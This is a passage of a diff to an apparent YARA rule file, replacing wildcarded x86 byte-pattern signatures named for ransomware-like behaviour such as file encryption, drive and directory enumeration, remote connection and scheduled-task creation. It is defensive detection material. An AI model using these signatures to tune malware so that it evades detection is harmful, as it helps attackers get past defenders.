-            15 ?? ?? ?? ?? 85 C0 74 ?? 83 A5 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF B5 ??
-            ?? ?? ?? 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8D 45 ?? 6A ?? 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ??
-            85 C0 0F 85 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF D7 FF B5 ?? ?? ?? ?? FF 15 ?? ??
-            ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 53 FF D6 8B 85 ?? ?? ??
-            ?? 50 FF D6 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F
-            5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
-        }
-		$find_files_v1_p1 = {
-            FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 6A ?? 0F 57 C0 C6 45
-            ?? ?? 6A ?? 6A ?? 0F 11 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85
-            C0 74 ?? 89 18 89 58 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 08 8B 3D ?? ?? ?? ??
-            8B B5 ?? ?? ?? ?? C6 45 ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F
-            84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF
-            D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85
-            C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 8D
+		$enum_directories_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6
+            45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
+            6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6
+            45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
+            6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
         }
-		$find_files_v1_p2 = {
-            8B 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 56 8B D0 C6 45 ?? ?? 8D 4D ?? E8
-            ?? ?? ?? ?? 59 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 75 ?? 68 ?? ?? ??
-            ?? 0F 43 75 ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 56 50 89 85 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B B5 ?? ?? ?? ?? 83 C4 ?? F6 85 ?? ?? ?? ?? ?? 75 ?? 56 8D 4D ?? E8 ?? ?? ??
-            ?? 8D 45 ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 56 E8
-            ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 59 74 ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 7D ?? ?? 8D 75 ?? 68 ?? ?? ?? ?? 0F 43 75 ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ??
-            ?? 56 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ??
-            ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59
-            B8 ?? ?? ?? ?? C3 C7 45 ?? ?? ?? ?? ?? 33 DB 8B 85 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 89
-            85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F
-            85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8D 8D
+		$enum_directories_p2 = {
+            85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6
+            45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
+            6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 85 ?? ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6
         }
-		$create_scheduled_task_v1 = {
-            FF 15 ?? ?? ?? ?? 33 FF 85 C0 74 ?? 8B CF 8A 84 0D ?? ?? ?? ?? 88 84 0D ?? ?? ?? ??
-            41 84 C0 75 ?? 8D BD ?? ?? ?? ?? 4F 8A 47 ?? 47 84 C0 75 ?? BE ?? ?? ?? ?? A5 A5 66
-            A5 33 FF 57 68 ?? ?? ?? ?? 6A ?? 57 57 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ??
-            ?? ?? ?? 8B 4B ?? 8B F0 89 BD ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8D 85 ??
-            ?? ?? ?? 2B CA 50 51 FF 73 ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 83 C4 ?? 8B
-            F2 8A 02 42 84 C0 75 ?? 8D BD ?? ?? ?? ?? 2B D6 4F 8A 47 ?? 47 84 C0 75 ?? 8B CA C1
-            E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 8D 8D ?? ?? ?? ?? 49 8A 41 ?? 41 84 C0 75 ?? 66 A1
-            ?? ?? ?? ?? 33 DB 8B 35 ?? ?? ?? ?? BF ?? ?? ?? ?? 66 89 01 A0 ?? ?? ?? ?? 53 53 88
-            41 ?? 8D 85 ?? ?? ?? ?? 50 57 53 53 FF D6 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 53 68
-            ?? ?? ?? ?? 57 53 53 FF D6 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
+		$enum_directories_p3 = {
+            45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ??
+            68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45
+            ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D BD ?? ?? ?? ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? 90 83 7F ?? ?? 8B 5F ?? 72 ?? 8B 37 EB ?? 8B F7 83 7D ?? ?? 8D
+            45 ?? 8B D3 0F 43 45 ?? 3B CB 0F 42 D1 85 D2 74 ?? 83 EA ?? 72 ?? 8D 9B ?? ?? ?? ??
+            8B 08 3B 0E 75 ?? 83 C0 ?? 83 C6 ?? 83 EA ?? 73 ?? 83 FA ?? 74 ?? 8A 08 3A 0E 75 ??
+            83 FA ?? 74 ?? 8A 48 ?? 3A 4E ?? 75 ?? 83 FA ?? 74 ?? 8A 48 ?? 3A 4E ?? 75 ?? 83 FA
+            ?? 74 ?? 8A 40 ?? 3A 46 ?? 74 ?? 1B C0 83 C8 ?? EB ?? 33 C0 8B 4D ?? 85 C0 75 ?? 3B
+            CB 73 ?? 83 C8 ?? EB ?? 33 C0 3B CB 0F 95 C0 85 C0 0F 94 C0 84 C0 75 ?? 8B 85 ?? ??
+            ?? ?? 83 C7 ?? 40 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? B3 ?? EB ?? 32 DB 68
+            ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ??
+            72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8A C3 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E
+            5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$remote_connection_v1 = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 8B
-            5D ?? 8D 44 24 ?? 56 57 8B 7D ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A
-            ?? 6A ?? 6A ?? 58 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 6A ?? 58 53 66 89 44 24
-            ?? FF 15 ?? ?? ?? ?? FF 75 ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 66 89 44 24 ?? 8D 44 24
-            ?? 6A ?? 50 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 8B CF 8D 51 ?? 8A 01 41 84 C0 75 ??
-            6A ?? 2B CA 51 57 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 56 FF 15 ?? ?? ?? ?? FF 15 ??
-            ?? ?? ?? 33 C0 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2
+		$encrypt_files_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 33 FF C6 45 ?? ?? 83 7D ?? ?? 8D 45 ?? 6A
+            ?? 0F 43 45 ?? 8D 8D ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ??
+            0F 43 45 ?? 8D 8D ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8B
+            94 0D ?? ?? ?? ?? 85 D2 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? 39 BC 05 ?? ??
+            ?? ?? 0F 85 ?? ?? ?? ?? F6 C2 ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 03 C8 8D 45 ??
+            50 E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? C6 45 ?? ?? 8B F0
+            85 C9 74 ?? 8B 11 FF 52 ?? 85 C0 74 ?? 8B 10 8B C8 6A ?? FF 12 8B 06 8B CE 6A ?? 8B
+            40 ?? FF D0 88 45 ?? 8D 45 ?? FF 75 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 39 75 ?? 76 ?? EB ?? 8D A4 24
+            ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8D 4D ?? 0F 43 45 ?? 83 7D ?? ?? 0F 43 4D ?? 33 D2
         }
-		$check_mutex_v1 = {
-            E8 ?? ?? ?? ?? 59 59 56 C6 45 ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 50 FF B5
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 7D ?? ?? 7E ?? 8B 57 ?? E8 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 59 FF 77 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B C8 C6 45 ?? ?? E8 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 50 56 FF D3 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ??
-            56 FF 15 ?? ?? ?? ?? 8B F8 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 94 C0 85 FF 74 ?? 84
-            C0 74 ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 56
+		$encrypt_files_p2 = {
+            0F BE 1C 30 8B C7 F7 75 ?? 8A 0C 0A 0F BE C1 03 C3 3D ?? ?? ?? ?? 7C ?? 25 ?? ?? ??
+            ?? 79 ?? 48 0D ?? ?? ?? ?? 40 EB ?? 02 D9 0F B6 C3 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 46 83 C4 ?? 47 3B 75 ?? 72 ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? 8B 48 ?? F6 84 0D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ??
+            ?? ?? 83 C4 ?? 83 7D ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 72
+            ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D
+            ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? C6 45 ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D
+            ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$find_files_v2 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 83 EC ?? 53
-            56 57 89 65 ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45
-            ?? ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? 83 EC ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? 83 EC ?? 8D 4D
-            ?? 54 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? E8 ??
-            ?? ?? ?? 83 EC ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D 4D ??
-            3B 45 ?? 0F 87 ?? ?? ?? ?? 83 EC ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ??
-            51 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 8D 45 ?? 3B C6 74 ?? 8B 45 ?? 83 F8
-            ?? 72 ?? 6A ?? 40 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 56
-            8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B
-            7D ?? 33 F6 8B 5D ?? 83 FE ?? 73 ?? 8B 0C B5 ?? ?? ?? ?? 8D 45 ?? 83 FF ?? 0F 43 C3
-            66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1
-            ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 74 ?? 46 EB ?? 8D 4D ?? E8 ?? ??
-            ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C2 ?? ?? 8D 4D ?? E8 ??
-            ?? ?? ?? 8B 4D ?? 32 C0 5F 5E 64 89 0D ?? ?? ?? ?? 5B 8B E5 5D C2 ?? ?? 8D 45
+		$enum_drives_p1 = {
+            6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ??
+            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85
         }
-		$encrypt_files_v2_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 51 B8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 53 56 57 C7 45 ?? ?? ?? ?? ?? 8B F1 8B 7D ?? 8D 4D ?? 89 65 ??
-            57 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 8B CE 50 E8
-            ?? ?? ?? ?? 8B D8 C6 45 ?? ?? 8D 4D ?? 89 5D ?? E8 ?? ?? ?? ?? 8B 75 ?? 56 E8 ?? ??
-            ?? ?? 83 C4 ?? 56 53 50 E8 ?? ?? ?? ?? 8B 75 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56
-            50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 C4 ?? 49 0F 1F 40 ?? 8A 41 ?? 8D 49 ?? 84 C0
-            75 ?? A1 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 08 89 ?? ?? ?? ?? 4E 00 6A ?? 6A ?? 89 41 ??
-            A1 ?? ?? ?? ?? ?? ?? ?? ?? 08 A0 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? 88
-            41 ?? FF D6 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 50 FF D6 68 ?? ?? ?? ?? 6A ?? 6A ?? 89 45 ?? 8D 45 ?? 6A ?? 50 FF 15 ?? ??
-            ?? ?? 8B 35 ?? ?? ?? ?? 85 C0 75 ?? FF D6 8B 1D ?? ?? ?? ?? 6A ?? FF 75 ?? FF D3 EB
-            ?? 8B 1D ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ??
-            ?? 85 C0 75 ?? FF D6 6A ?? FF 75 ?? FF D3 6A ?? 6A ?? 57 FF 75 ?? FF 15 ?? ?? ?? ??
-            85 C0 75 ?? FF D6 8D 45 ?? 50 6A ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ??
-            ?? 85 C0 75 ?? FF D6 6A ?? FF 75 ?? FF D3 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50
+		$enum_drives_p2 = {
+            E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6
+            85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
+            6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D
+            4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68
+            ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8
         }
-		$encrypt_files_v2_p2 = {
